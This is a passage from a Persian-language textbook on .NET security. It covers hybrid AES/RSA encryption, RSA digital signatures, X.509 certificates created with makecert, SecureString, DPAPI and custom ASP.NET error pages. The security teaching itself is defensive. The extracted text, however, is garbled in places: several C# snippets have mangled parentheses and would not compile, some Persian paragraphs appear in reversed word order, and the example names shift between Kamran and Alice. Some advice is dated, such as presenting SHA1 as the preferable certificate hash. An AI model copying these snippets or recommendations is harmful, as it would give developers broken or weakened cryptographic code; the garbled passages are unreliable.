encryptedPacket.IV); 

 return Encoding.UTF8.GetString(decryptedData); 

 } 
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 public static EncryptedPacket Encryption(string input,RSAWithParameters rsaParams,RSAParameters 

publicKey) 

 { 

 var aes = new AES(); 

 var Sessionkey = aes.GenerateRandomNumber(32); 

 var EncryptedPacket = new EncryptedPacket 

 { 

 IV = aes.GenerateRandomNumber(16) 

 }; 

 EncryptedPacket.EncryptedData = aes.Encrypt(Encoding.UTF8.GetBytes(input), Sessionkey, 

EncryptedPacket.IV); 

 EncryptedPacket.EncryptedSessionkey = rsaParams.Encryption(Sessionkey, publicKey); 

 using (var hmac = new HMACSHA256(Sessionkey)) 

 { 

 EncryptedPacket.HMAC = hmac.ComputeHash(EncryptedPacket.EncryptedData); 

 } 

 return EncryptedPacket; 

 } 

 } 

 public class EncryptedPacket 

 { 

 public byte[] EncryptedSessionkey; 

 public byte[] EncryptedData; 

 public byte[] IV; 

 public byte[] HMAC; 

 } 

 public class RSAWithParameters 

 { 

 public byte[] Encryption(byte[] input, RSAParameters rsaKey) 

 { 

 byte[] cipherBytes; 

 using (var rsa = new RSACryptoServiceProvider(2048)) 

 { 

 rsa.ImportParameters(rsaKey); 
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 cipherBytes = rsa.Encrypt(input, true); 

 } 

 return cipherBytes; 

 } 

 public byte[] Decryption(byte[] input, RSAParameters rsaKey) 

 { 

 byte[] plain; 

 using (var rsa = new RSACryptoServiceProvider(2048)) 

 { 

 rsa.ImportParameters(rsaKey); 

 plain = rsa.Decrypt(input, true); 

 } 

 return plain; 

 } 

 } 

 class AES 

 { 

 public byte[] GenerateRandomNumber(int Length) 

 { 

 using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider()) 

 { 

 byte[] randomNumber = new byte[Length]; 

 rng.GetBytes(randomNumber); 

 return randomNumber; 

 } 

 } 

 public byte[] Encrypt(byte[] dataToEncrypt, byte[] key, byte[] iv) 

 { 

 using (var aes = new AesManaged()) 

 { 

 aes.Mode = CipherMode.CBC; 

 aes.Padding = PaddingMode.PKCS7; 

 aes.Key = key; 

 aes.IV = iv; 
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 using (var ms = new MemoryStream()) 

 { 

 var cs = new CryptoStream(ms, aes.CreateEncryptor(), CryptoStreamMode.Write); 

 cs.Write(dataToEncrypt, 0, dataToEncrypt.Length); 

 cs.FlushFinalBlock(); 

 return ms.ToArray(); 

 } 

 } 

 } 

 public byte[] Decrypt(byte[] dataToDecrypt, byte[] key, byte[] iv) 

 { 

 using (var aes = new AesCryptoServiceProvider())//new AesManaged() 

 { 

 aes.Mode = CipherMode.CBC; 

 aes.Padding = PaddingMode.PKCS7; 

 aes.Key = key; 

 aes.IV = iv; 

 using (var ms = new MemoryStream()) 

 { 

 var cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write); 

 cs.Write(dataToDecrypt, 0, dataToDecrypt.Length); 

 cs.FlushFinalBlock(); 

 return ms.ToArray(); 

 } 

 } 

 } 

 } 

 

} 

 امضای دیجیتال  8-6

صورتی که دریافت کننده پیام نمی  به یکی از اهداف رمزنگاری غیر قابل انکار بودن یک پیام ارسال شده است.

تواند پیام دریافت شده را انکار کند. امضای دیجیتال تکنیکی است که به ارزیابی و یکپارچگی پیام کمک می کند 
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و برای نشان دادن صحت اسناد و قرارداد ها، دانلود نرم افزار ها و معامالت مالی، مفید است. این امضا ها بر مبنای 

. امضای دیجیتال به دریافت کننده پیام اجازه می دهد که از صحیح (RSAارن هستند )مانند رمزگذاری نامتق

 بودن ارسال کننده اطمینان حاصل کند

 یک امضای دیجیتال شامل سه بخش زیر است:

 RSAکلید عمومی و خصوصی ساخته شده با  ➢

 یک الگوریتم امضا که از کلید خصوصی برای ساخت آن استفاده می شود. ➢

الگوریتم ارزیابی امضا که با استفاده از کلید عمومی ایجاد می شود و صحت امضا را یک  ➢

 بررسی می کند

 

 در زیر کدی در مورد امضای دیجیتال مشاهده می کنید:

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Text; 

using System.Security.Cryptography; 

 

namespace DigitalSignature 

{ 

 class Program 

 { 
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 static void Main(string[] args) 

 { 

 var document = Encoding.UTF8.GetBytes("Document"); 

 byte[] hashedDocument; 

 using (var hash = SHA256.Create()) 

 { 

 hashedDocument = hash.ComputeHash(document); 

 } 

 var ds = new DigitalSignature(); 

 ds.AssignNewKey(); 

 var signature = ds.SignData(hashedDocument); 

 var verified = ds.VerifySignature(hashedDocument,signature); 

 Console.WriteLine("main text: "+Encoding.UTF8.GetString(document)); 

 Console.WriteLine("DigitalSignature: "+Convert.ToBase64String(signature)); 

 if(verified) 

 Console.WriteLine("verified"); 

 

 else Console.WriteLine("not verified"); 

 Console.ReadKey(); 

 

 } 

 } 

 class DigitalSignature 

 { 

 RSAParameters publicKey, privateKey; 

 public void AssignNewKey() 

 { 

 using (var rsa = new RSACryptoServiceProvider(2048)) 

 { 

 rsa.PersistKeyInCsp = false; 

 publicKey = rsa.ExportParameters(false); 

 privateKey = rsa.ExportParameters(true); 

 } 

 } 
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 public byte[] SignData(byte[] hashedData) 

 { 

 using (var rsa = new RSACryptoServiceProvider(2048)) 

 { 

 rsa.PersistKeyInCsp = false; 

 rsa.ImportParameters(privateKey); 

 var rsaFormatter = new RSAPKCS1SignatureFormatter(rsa); 

 rsaFormatter.SetHashAlgorithm("SHA256"); 

 return rsaFormatter.CreateSignature(hashedData); 

 } 

 } 

 public bool VerifySignature(byte[] hashedData,byte[] signature) 

 { 

 using (var rsa = new RSACryptoServiceProvider(2048)) 

 { 

 rsa.ImportParameters(publicKey); 

 var rsaDeformatter = new RSAPKCS1SignatureDeformatter(rsa); 

 rsaDeformatter.SetHashAlgorithm("SHA256"); 

 return rsaDeformatter.VerifySignature(hashedData, signature); 

 } 

 } 

 } 

} 

 استفاده از گواهینامه ها برای رمزگذاری نامتقارن 1-8-6

اید  آموختهه تاکنون کمی از داده ها را دارید اما آنچ شما اکنون توانایی اجرای رمزگذاری نامتقارن برای حجم 

اینجا  .رمزگذاری شده از طرف چه کسی است دارای یک نقطه ضعف است، شما نمی توانید بگوید که داده های

 کنند. جایی است که گواهینامه ها همراه با امضاهای دیجیتال ایفای نقش می

کلید رمزگذاری نامتقارن با بعضی مشخصات اضافه تر است. این  ٔ  دربردارندهدیجیتال  ٔ  ینامهگواهیک 

کلیدها )مثل  ٔ  دارندههای انقضای گواهینامه ها را شامل می شود و کلیدها اطلاعاتی در مورد  خمشخصات تاری
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سرویس آنلاین موجود که میتواند بررسی شود تا  یک( و محل لیست ابطال گواهینامه هاشرکت )نام یا جزییات 

 د که گواهینامه هنوز موجود است و در معرض خطر قرار نگرفته است( را دربردارد.ببین

گواهینامه ها در انواع گوناگون هستند که شامل گواهینامه های کارگزار، گواهینامه های کارخواه وگواهینامه 

 یپردازیم.های ایمیل میشود. در ادامه این فصل به بررسی استفاده از گواهینامه ها برای رمزگذاریم 

 برای دریافت یک گواهینامه، سه روش اصلی وجود دارد.

عموما این روش در مواقعی مورد استفاده قرار میگیرد که مردم بیرون از شرکت شما  خرید یک گواهینامه:

از طریق بررسی هویت  Verisign, Thawte, Comodoنیاز به تعامل با خدمات شما داشته باشند. شرکتهایی مانند 

کارخواهان گواهینامه صادر خواهند کرد. این شرکتها، به طور پیشفرض، مورد اعتماد تمام مرورگرهای بزرگ  برای

و سیستم عاملها هستند و در نتیجه نرم افزارهای کارخواه در هیچیک از مراحل خود، نیازی به اعتبارسنجی 

آنها به  ٔ  همهشرکتها متفاوت است، اما  گواهینامهای که شما استفاده میکنید ندارند. دستورالعملهای هریک از

که توسط دستگاهی که می خواهید گواهینامه را روی آن نصب کنید تولید  (CSR) یگواهیک درخواست امضای 

 میشود، نیاز دارند.

 یداخل: شرکت شما ممکن است یک مرجع گواهینامه استفاده از اعتبار گواهینامه داخلی شرکت خودتان

(CAفراهم )  شما میتوانید از آن درخواست ارایه گواهینامه داشته باشید.کند که 

استفاده میکنند باید برای اعتماد به آن  CAتمام سیستمهایی که از گواهینامه های صادر شده توسط یک 

ای که از آن گواهینامه میخرید پیکربندی شده اند. این عمل با CAپیکربندی شوند، همانگونه که برای اعتماد به 

استفاده میشود،  CAکه برای ثبت تمامی گواهینامه های صادرشده توسط  CAد به گواهینامه ریشهی یک اعتما

 را ارایه میدهند. CAهستند که قابلیت « خدمات گواهینامه»شامل  2008و ویندوز  2003انجام شده است. ویندوز 
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است که میتواند برای  MakeCert: چارچوب )دات نت شامل یک خط فرمان به نام تولید گواهینامه خودتان

تولید گواهینامه مورد استفاده قرار بگیرد. این گواهینامه باید فقط برای آزمون مورد استفاده قرار گیرد زیرا حاوی 

و لیست ابطال گواهینامه نمیباشد. هر گواهینامه باید به صورت جداگانه توسط  CAهیچ یک از جزییات 

 MakeCertیکنند قابل اعتماد باشد. گزینههای خط فرمان در دسترس برای سیستمهایی که از آن استفاده م

 به آدرس زیر مراجعه کنید: یتوانیدم متعدد هستند. برای آگاهی بیشتر از این قابلیت،

 http:// msdn.microsoft.com/en - us/library/bfsktky3)VS.80).aspx 

میتواند گواهینامه های  IISاستفاده میکنید، مدیریت  2008با ویندوز ویستا و یا با ویندوز  IIS7اگر شما از 

SSL .برای یک وبسایت تولید نماید 

 IIS )Serverبرای دسترسی به این قابلیت مسیر زیر را دنبال کنید: روی آیکون گواهینامه کارگزار در مدیریت 

Certificatesینهگزکرده و سپس  یک( کل  ٔ «Create Self- Signed certificate  » از منو سمت راست نرم افزار

 مدیریت را انتخاب کنید.

 همانند یک کلید متقارن، یک گواهینامه که شامل هر دو کلید عمومی و خصوصی است باید محافظت شود.

برای این امر است. پایگاه گواهینامه بدون در نظر گرفتن « پایگاه گواهینامه ها»دارای یک مکانیسم به نام  یندوزو

واهینامه در آن ذخیره شده است )مانند ذخیره روی یک دیسک سخت، روی یک کارت هوشمند و یا جایی که گ

این پایگاه دو نوع  در برخی از مکانیزمهای ذخیره سازی خاص( یک رابط استاندارد برای توسعهدهنده ارایه میدهد.

سازی دستگاه گواهینامه هایی  هیرذخ ذخیره سازی وجود دارد: ذخیره سازی دستگاه و ذخیره سازی کاربر. ٔ  نحوه

که به طور کامل توسط دستگاه در دسترس هستند و همچنین کاربرانی از آن دستگاه که مجوز دسترسی به 

استفاده میشوند، عموما در دستگاه قرار  ASP.NETهایی که توسط  ینامهگواه گواهینامه را دارند نگه میدارد.

امه هایی است که برای یک کاربر خاص میباشند. برای مدیریت پایگاه میگیرند. ذخیره سازی کاربر شامل گواهین
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استفاده کنید. جزییات  certmgr.mscنام  ( بهMMC) یکروسافتماگواهینامه ها، شما میتوانید از کنسول مدیریت 

 بیشتر در شکل زیر نشان داده شده است.

 

 بیشتر ازآن قسمت سه اما است متعددی قسمتهای دارای پایگاه هر است، مشخص فوق شکل در که همانطور

 :میگیرد قرار استفاده مورد

:Personal در استفاده برای مرتبط خصوصی کلید یک شخصی، پایگاههای در موجود گواهینامه های 

 .دارند داده امضای یا رمزگشایی

Other People رمزگذاری داده ها : گواهینامه های موجود در این قسمت، تنها کلید عمومی برای استفاده در

 را دارند. این قسمت عموم ااا برای امضای ایمیل استفاده میشود و به عنوان یک
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Trusted Root Certification Authorities این قسمت دربرگیرنده :CA هایی است که شما گواهینامه های

میباشد. اگر شما  VeriSignاز آن را پذیرفتهاید. این قسمت همراه با گواهینامه ها برای راجع شناخته شده اعم 

 ممکن ناشناخته داشته باشید، CAیک گواهینامه با امضای خودتان ایجاد کرده و یا درخواست گواهینامه از یک 

 است لازم به صورت دستی گواهینامه را وارد این پایگاه کنید.

کنید. با کلیک راست بر هنگامی که یک گواهینامه ایجاد میکنید، همیشه یک نسخهی پشتیبان از آن تولید 

این کار را انجام دهید. شما  یتوانید( مExport) یخروجروی گواهینامه، انتخاب همه وظایف و در نهایت انتخاب 

برای ذخیره در یک مکان امن و برای وارد کردن ) یخصوصباید دوبار از گواهینامه خروجی بگیرید، یک بار با کلید 

تبادل با سیستمهایی  ی( براو یک بار بدون کلید خصوصیدارند )رمزگشایی داده ها در تمام دستگاههایی که نیاز به 

 که فقط نیاز به رمزگشایی داده ها دارند(

 و امضارمزنگاری یک پیام  2-8-6

رمزنگاری و امضای آن از طریق کلید نامتقارن )یک جفت کلیدعمومی و کلید خصوصی(  ٔ  نحوهدر این بخش 

 خواهیم داد.را توضیح  X.509 از گواهینامه

است. این ابزار گواهینامه  Makecert.exeساده ترین راه برای ایجاد یک گواهینامه، استفاده از یک ابزار مانند 

با یک جفت کلید عمومی و خصوصی برای اهداف آزمون تولید میکند، اما برای مقاصد نمایشی قابل  X. 509های 

در  Toolsدر زیرمنوی  Visual Studio command promptرا از طریق  Makecert.exeقبول است. شما میتوانید 

 Visualاجرا کنید. شما باید  2012ویژوال استودیو  Developer command promptیا  2010ویژوال استودیو 

Studio Command Prompt  را به عنوان مدیر برایMakecert  راه اندازی کنید. شما میتوانید این ابزار را با

 رگومانهای خط فرمان که در مثال زیر آورده شده اند اجرا کنید.آ

makecert.exe -sr LocalMachine -ss My -a sha1 -n CN=Amir -sky exchange -pe makecert.exe -

sr LocalMachine -ss My -a sha1 -n CN=Kamran -sky exchange - 
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pe 

 را نشان میدهد .Makecert.exeط توسگواهینامه تولیدشده  ٔ  مشاهده ٔ  نحوهمراحل زیر 

 .run box(اجرا ) ٔ  جعبهدر  MMCاجرای کنسول مدیریت مایکروسافت با تایپ کردن  •

 Certificatesسپس  Add.Removwسپس  File ٔ  ینهگزانتخاب  •

را برای مشاهده  local computerکلیک کنید و پس از آن حسابکاربری کامپیوتر  Add ٔ  ینهگزروی  •

 گواهینامه انتخاب کنید.

ایجاد شده  Kamranو  Amir ٔ  ینامهگواهنشان میدهد. دو  Makecertشکل زیر نتیجه را پس از دوبار اجرای 

برای این گواهینامه استفاده کرده ایم  SHA1اند و هر دو دارای کلیدهای خصوصی هستند. در اینجا از الگوریتم 

برای سوییچ  "exchange"، بهتر است. با مشخص کردن MD5دیگر، یعنی  ٔ  ینهگزپیشفرض بوده و از  ٔ  ینهگزکه 

sky همانطور که در فوق نشان داده شده است، اطمینان حاصل میکنیم که گواهینامه ها میتوانند هم برای ،

 رمزگذاری و هم امضا مورد استفاده قرار گیرند.

  

 MMC: گواهینامه ها در 4-7شکل 
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اکنون که گواهینامه های لازم را ایجاد کرده ایم، میتوانیم پیام حاوی اطلاعات کارت اعتباری را با استفاده از 

جدید رمزگذاری کنیم. از آنجا که میخواهیم رمزگذاری و رمزگشایی نامتقارن انجام دهیم، میتوانیم  ٔ  ینامهگواه

می است، استفاده کنیم. این الگوریتم توسط کلاس که الگوریتم برای رمزنگاری کلید عمو RSAاز الگوریتم 

RSACryptoServiceProvider در چارچوب )دات نت پیاده سازی شده است. 

که در مثال  همانطور است. X.509در )دات نت نشان دهنده یک گواهینامه  X509Certificate 2کلاس . 1

ای استفاده  از تابعی با قالب رشته X509Certificate2زیر نشان داده شده است، برای ایجاد یک نمونه از کلاس 

 ایم. کرده

static class CertificateHelper 

{ 

 public static X509Certificate2 ToCertificate(this string subjectName, 

 StoreName name = StoreName.My, StoreLocation location = 

StoreLocation.LocalMachine) 

 { 

 X509Store store = new X509Store(name, location); store.Open(OpenFlags.ReadOnly); try { 

 var cert = store.Certificates.OfType<X509Certificate2>() 

.FirstOrDefault(c => 

c.SubjectName.Name.Equals(subjectName, 

 StringComparison.OrdinalIgnoreCase)); return (cert != null) ? new X509Certificate2)cert): null; 

 } finally 

 { store.Certificates.OfType<X509Certificate2>)).ToList)).ForEach)c=>c.Reset 

))); 

 store.Close(); 

 } 

 } 

} 

را مانند روشی که برای کلید متقارن انجام دادیم،  "06/13 3456 9012 5678 1234" ٔ  داده. در قدم بعدی 2

رمزگذاری میکنیم. این داده توسط کامران خوانده خواهد شد. در اینجا استفاده از کلیدهای عمومی کامران اهمیت 
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میتواند کلید عمومی خود را به بسیاری از افراد بدهد، اما کلید خصوصی او پنهان است و تنها خود  کامران دارد.

گشایی پیام ارسال شده استفاده خواهد کرد. با استفاده کامران به آن دسترسی دارد. او از کلید خصوصی برای رمز

که کلید خصوصی را داراست، فرد دیگری نمیتواند  از کلید عمومی کامران، اطمینان حاصل میکنیم که جز کامران

 داده را بخواند.

گیرنده برای  ٔ  ینامهگواهمهمترین بخش از رمزگذاری کلید نامتقارن این است که فرستنده از کلید عمومی 

رمزگذاری استفاده کرده و گیرنده با استفاده از کلید خصوصی گواهینامه خود رمزگشایی را انجام میدهد. در مثال 

 زیر چگونگی رمزگذاری پیام آورده شده است.

string dataToKamran = "1234 5678 9012 3456 06/13"; 

var cert = "CN=Kamran".ToCertificate(); var provider = 

(RSACryptoServiceProvider)cert.PublicKey.Key; 

// Note the use of public key byte[] cipherText = provider.Encrypt(Encoding.UTF8 

.GetBytes(dataToKamran), true); Console.WriteLine(Convert.ToBase64String(cipherText)); 

// What gets sent to Kamran is cipherText 

 .را نشان میدهد Alice. مثال زیر چگونگی رمزگشایی پیام و دریافت اطلاعات کارت اعتباری توسط 3

// Kamran receives cipherText here 

// Kamran decrypts the cipherText using her private key 

var cert = "CN=Kamran".ToCertificate(); var provider = (RSACryptoServiceProvider)cert.PrivateKey; 

Console.WriteLine) Encoding.UTF8.GetString) provider.Decrypt(cipherText, true))); 

هر دو گواهینامه بر روی دستگاه تولید شده و از این رو کلید خصوصی هر دو گواهینامه ها را در اختیار داریم. 

یک کلید عمومی و یک کلید خصوصی خواهد  CN=Amirاهینامه ما هر دو گواهینامه را در اختیار داریم اما گو

 تنها کلید عمومی را دارد. CN=Kamran ینامهگواه داشت.

 میتوان رمزگذاری و رمزگشایی با استفاده از کلید نامتقارن تولیدشده توسط کلاس

RSACryptoServiceProvider  را بدون استفاده از یک گواهینامهX.509 که در  ف بخش قبلیانجام داد. بر خلا



 

274 

استفاده تولید کردیم، در حال حاضر میخواهیم تنها یک جفت کلید  ٔ  نحوهآن دو گواهینامه به همراه روش دقیق 

 برای نگهداشتن چیزهای ساده تولید کنیم. مثال زیر چگونگی تولید کلیدها را نمایش میدهد.

 مثال:

string publicKey = String.Empty; string privateKey = String.Empty; using (RSACryptoServiceProvider 

rsa = new RSACryptoServiceProvider))) 

{ publicKey = rsa.ToXmlString(false); privateKey = rsa.ToXmlString(true); 

} 

هستند، اما نباید به  XMLدر قالب متن ساده  () ToXmlStringروش توجه: کلیدهای تولیدشده از طریق 

 استفاده شود. key containerیل امنیتی آنها را فایل سیستم ذخیره کنید. به جای آن باید از یک دلا

System.Security.Cryptography.CspParameters  میتواند در استفاده ازkey container  یرهذخبرای  ٔ 

 کلیدها به شما کمک کند. مثال زیر چگونگی رمزگذاری و رمزگشایی آن را نمایش میدهد.

byte[] encryptedData = null; byte[] secretData = Encoding.UTF8.GetBytes("1234 5678 9012 3456 

06/13"); 

// Sender's end using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider))) 

{ rsa.FromXmlString(publicKey); // encrypt using public key encryptedData = rsa.Encrypt(secretData, 

true); 

} 

// Receiver's end using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider))) 

{ rsa.FromXmlString(privateKey); // decrypt using private key 

 

Console.WriteLine(Encoding.UTF8.GetString(rsa.Decrypt)encryptedData, true))); } 

 

 رشته های امن 9-6
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 ٔ  یرهذخقرار دارد هرگز یک راه حل امن برای  String.Systemرشته استانداردی که در دات نت که در کتابخانه 

داده های حساس مانند رمزعبور و رمز کارت های بانکی نیست. ایجاد یک رشته با استفاده از این روش برای اهداف 

 امنیتی چندین مشکل را به همراه دارد

نمی شوند و از نوع حافظه های مدیریت شده محسوب می  pinح این رشته ها به حافظه وصله یا به اصطلا- 1

آزاد سازی حافظه هایی که در برنامه وجود دارد هر زمانی  آن تخصیص و ٔ  یفه)وظ Garbage Collectorشوند که 

و از آجایی که حافظه نا محدود  یک فضای جدید را به آن شی تخصیص می دهد CLRکه یه شی را ایجاد میکنید 

ز بین برده( می به صورت هوشمند حفظه را آنالیز کرده و حافظه های بلااستفاده را ا Garbage Collectorنیست، 

 تواند آن ها را در حافظه کنترل کند و چندین کپی از آن بگیرد.

این رشته ها رمزگذاری نمی شوند، بنابراین هرکسی می تواند به آسانی با خواندن حافظه ای که به برنامه - 2

 شما اختصاص دارد محتویات رشته را به دست آورد.

راین هر زمانی که شما می خواهید آن ها را تغییر دهید برای مدتی بناب؛ این رشته ها تغییر پذیر نیستند- 3

 جدید در حافظه می ماند. ٔ  نسخهقدیمی و هم  ٔ  نسخههم 

از آن جایی که تغییرپذیر نیستند هی راه مطمئنی برای پاک کردن آن ها از حافظه زمانی که کارمان با آن - 4

 ها تمام شد وجود ندارد.

 SecureStringکلاس  1-9-6

 استفاده کنید. SecureStringاگر نرم افزار شما از داده های حساس استفاده می کند بهتر است که از کالس 

این کلاس به طور خودکار زمانی که داده ها را در حافظه ذخیره می کند آن ها را رمزگذاری می کند و از آن 

نمی تواند این رشته های رمز  Garbage Collectorجایی که این رشته ها از نوع حافظه های مدیریت نشده است 

 شده را در حافظه حرکت دهد پس نگرانی ما از وجود چند کپی در حافظه برطرف می شود.
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نکته: تفاوت حافظه های مدیریت شده و مدیریت نشده: از نظر فیزیکی تفاوتی ندارند ولی حافظه های مدیریت 

 مدیریت می شوند Garbage Collectorشده توسط 

حافظه ای که در رم  Disposeبا استفاده از متد  ؛ ورا نیز پیاده سازی می کند IDisposableنین واسط همچ

 پر می کند. nullبه آن اختصاص داده شده را با مقدار صفر یا 

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Text; 

 

namespace IDisposableDemo 

{ 

 class Program 

 { 

 static void Main(string[] args) 

 { 

 using (Sample s = new Sample()) 

 { 

 

 } 

 } 

 } 

 class Sample: IDisposable 

 { 

 public void Dispose() 

 { 

 

 } 

 ~Sample() 

 { 

 

 } 
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 } 

} 

استفاده می کند رمزگذاری می شوند و فقط زمانی  DPAPIکه از  CLRرشته های امن در حافظه توسط 

را فعال کنیم به  Only-Readرمزگشایی می شوند که بخواهیم از آن ها استفاده کنیم و در صورتی که خاصیت 

 هی وجه امکان ویرایش آن وجود ندارد.

 DPAPI ((Data Protection API)) استفاده از ویندوز 2-9-6

لی سخت به نظر می رسد، میتوانید اجازه دهید که ویندوز مراقبت از اگر موارد گفته شده در بخش قبل خی

ای سیستم  یک سرویس پایه Windows Data Protection API (DPAPI)مدیریت کلیدها را به عهده بگیرد. 

 عاملیستمدرساست که ویندوز آن را ارایه میدهد و توسط فرآیندهای امن 

 (the Local Security Authority (LSA)) میشود. یریتمد 

DPAPI  کتابخانهبخشی از  ٔ dll.Crypt32  است و نرم افزارها می توانند داده ها را به آن ارسال کنند و یک

انجام شده و ما فقط از آن  SecureStringدر کالس  APIپیاده سازی این  رمزشده دریافت کنند و برعکس. ٔ  داده

تکرار( استفاده میکند.  4000با ) PBKDF2و  DES Triple ،SHA1از الگوریتم های  APIاستفاده می کنیم. این 

DPAPI  با استفاده از کلاسProtectedData  نام در فضایSystem.Security.Cryptography  استیدسترسقابل 

را فراخونی کرده  Protectتابع و مدیریت کلید و رمزنگاری متقارن را فراهم میکند. برای رمزگذاری کردن داده ها 

 را فراخوانی می کنیم. ورودی هریک از این توابع عبارتند از: Unprotectتابع رای رمزگشایی آنها و ب

 بایتی از داده ها برای کار روی آن. ٔ  یهآرایک  ➢

اختیاری و بایتی از آنتروپی که به عنوان یک کلید اضافی عمل میکند )بنابراین اگر  ٔ  یهآرایک  ➢

 استفاده میشود، باید رمزنگاری به صورت تصادفی انجام شده و برای رمزگشایی ذخیره شود.(

 یک دامنه ➢
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را اینکه کدام دستگاه و کاربر را دارد. پارامتر دامنه  ٔ  یرهذخنیز مفهوم  DPAPIمانند سرویسهای گواهینامه، 

کلید از ذخیره سازی باید مرتبط گردد، تعریف میکند. پارامتر اختیاری آنتروپی که برای افزایش ابعاد اطلاعات در 

را به اشتراک گذاشته اند اجازهی مجزا کردن  DPAPIپایگاه ذخیره سازی استفاده میشود، به برنامه هایی که کلید 

، اگر کاربر با IIS7استفاده گردد. در  LocalMachine، باید دامنه IIS6اطلاعات خود را از یکدیگر را میدهد. برای 

بوده و پیکربندی لازم را در برنامه برای بارگذاری مشخصات کاربر انجام داده باشید، این  CurrentUser ٔ  دامنه

 را نشان میدهد. DPAPIکانپذیر است. کد زیر توابع لازم برای رمزگذاری و رمزگشایی با استفاده از عمل ام

// This is an example of entropy. In a real application 

// it should be a cryptographically secure array of random data. 

private static byte[] entropy = {1, 3, 5, 7, 9, 11, 15, 17, 19}; 

static byte[] EncryptUsingDPAPI(byte[] clearText) 

{ return ProtectedData.Protect) 

 clearText, entropy, DataProtectionScope.LocalMachine); 

} static byte[] DecryptUsingDPAPI(byte[] encryptedText) 

{ return ProtectedData.Unprotect( 

 encryptedText, entropy, DataProtectionScope.LocalMachine); 

} 

این کار را انجام  DPAPIهمانطور که می بینید، لازم نیست که شما کلید یا الگوریتم را مشخص کنید چراکه 

 میدهد.

 برای رمزگذاری ستیلچکیک  3-9-6

 نرم افزار آورده شده است: لیست از اقلام لازم به هنگام انتخاب یک مکانیزم رمزگذاری برای در زیر یک چک

شما باید یک داده را رمزگذاری و  ٔ  برنامهیک روش مناسب براساس وضعیت خود انتخاب نمایید. اگر  ➢

شما با یک سیستم خارجی در ارتباط  ٔ  برنامهرمزگشایی کند، یک الگوریتم متقارن انتخاب کنید و اگر 

 است، یک الگوریتم نامتقارن را انتخاب کنید.
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مناسب جامعیت برای داده های خود استفاده کنید. رمزگذاری برای تشخیص تغییرات در داده از بررسی  ➢

ها کافی نیست. حتی داده های رمزگذاری نشده ممکن است به یک مکانیسم برای تشخیص تغییرات نیاز 

داده و یا امضای گواهینامه استفاده کنید تا قابلیت بررسی  MACsداشته باشند. از روشهای درهمسازی،

 ها، زمانی که داده ها تغییر کرده است را به شما بدهد.

الگوریتم خود را با دقت انتخاب کنید. برخی از الگوریتم ها در حال حاضر شکننده به حساب میآیند و یا  ➢

 SHA512یا  SHA256به سادگی قابل شکستن هستند. از الگوریتم های توصیه شده در بخشهای قبل )

 استفاده کنید. خودیتوضعبرای رمزنگاری متقارن( با توجه به  AESبرای درهمسازی و 

از کلیدهای خود محافظت کنید. اگر کلیدهای شما به خطر بیافتد، اطلاعاتتان نیز در معرض خطر قرار  ➢

می گیرند. کلیدها را به طور جداگانه از داده های رمزگذاری شده ذخیره و به شدت دسترسی به آنها را 

مینان حاصل کنید که یک پشتیبان امن و جداگانهای از کلیدها و گواهینامه های خود کنترل کنید. اط

 تهیه کردهاید.

ثابت میشود. برنامه ریزی  هایتمالگوربرای تغییرات الگوریتم برنامه ریزی کنید. با گذشت زمان، ناامنی  ➢

  تغییر الگوریتم و پشتیبانی از داده های قدیمیتر را در نظر بگیرید.  ٔ  نحوهکنید و 
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 )در )دات نت و نشست  خطا یریتمد :تمفهفصل  -7

 مدیریت خطا 1-7

مدیریت استثنا در توسعه هر راه حل نرم افزاری بسیار مهم است. اگر مدیریت استثنائات نادیده گرفته شود یا 

 بایدASP.NET یبرنامه ها کیفیت و عملکرد راه حل نرم افزاری خواهد داشت.به درستی اجرا نشود، تاثیر بدی در 

 (CLRاجرا ) زمان مشترک زبان از ASP.NETباشند.  میدهد رخ اجرا طول در که خطاهایی یکنواخت مدیریت به قادر

 اتفاق خطا کی یوقت .کندیم فراهم برنامه ها به کنواختی صورت به خطا اعلام یبرا را یروش که کندیم استفاده

 مواجه آن با برنامه کی که است رمنتظرهیغ رفتار ای حالت ک خطا،ی استثنا کی .شودیم جادیا استثنا کی افتد،یم

ارسال  .هستند وب ٔ  برنامه کی به حمله هنگام اطلاعات افتنی یبرا جاها نیدتریمف از یکی خطا یامهایپ .شودیم

 ستمیعملکرد س یچگونگ از یینشانه ها که شود یدرون یخطاها بروز باعث تواندیم برنامه کی به رمنتظرهیغ ٔ  داده

 .انجامند آسیبپذیریها می کشف به همه که کندیم هیارا حمله گرید یراه ها درباره را یاطلاعات و کندیم فاش را

ود باید در هر پروژه نرم افزاری، در ابتدای توسعه پروژه، قوانین توسعه نرم افزاری که باید توسط تیم دنبال ش

 .بخشی از این قوانین باید قوانین مدیریت استثناها باشد .تعریف شود

 شکل در که خطا ٔ  صفحه یک طریق از را شما ٔ  برنامه داخلی کارکرد ASP.NETمیدهد  رخ استثنا یک وقتی

 میکند. فاش است شده داده نشان زیر
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 ASP.NETخطای پیشفرض  ٔ  صفحه: 1-7شکل 

و متاسفانه برای مهاجمان است. شما میتوانید استثنای  یساننوبرنامهخطا پر از اطلاعات مفید برای  ٔ  صفحهاین 

که روی  ASP.NETرخ داده، کد اطراف خطی که خطا در آن رخ داده، یک رد پای پشته از برنامه، نسخهای از 

 بینید.وب را ب ٔ  برنامهکارگزار وب اجرا شده است و محل فایلها روی دیسک میزبان 

به صورت پیشفرض این خطا را به درخواستهای محلی  ASP.NETاین به وضوع یک مشکل است. خوشبختانه 

 خطا مطابق شکل زیر مشاهده میکنند: ٔ  صفحهنشان میدهد. کاربران راه دور یک 
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 دور راه کاربران یبرا ASP.NET - برنامه یخطا شفرضیپ ٔ  صفحه :2-7شکل 

برنامه  که دهدیم نشان نیهمچن و داده رخ خطا کی که دهدیم نشان مهاجم به خطا پیشفرض ٔ  صفحه

ASP.NET د.یکن یخوددار خطا شفرضیپ صفحات از استفاده از دیبا لیدل نیا به شمااست 

 کنترل می شوند. web.configدر فایل customerrorsی کربندیپ عنصر از استفاده با خطا صفحات

<system.web> 

<customErrors mode="On" defaultRedirect="~/error.aspx"> 

</customErrors> 

</system.web> 
مقداردهی شده است. این پیکربندی  error.aspxبا مقدار  defaultRedirectدر مثال پیکربندی فوق، صفت 

وب شما فرستاده میشوند و این به شما امکان میدهد  ٔ  برنامه ٔ  یشهردر  error.aspxیعنی تمام خطاها به صفحه 

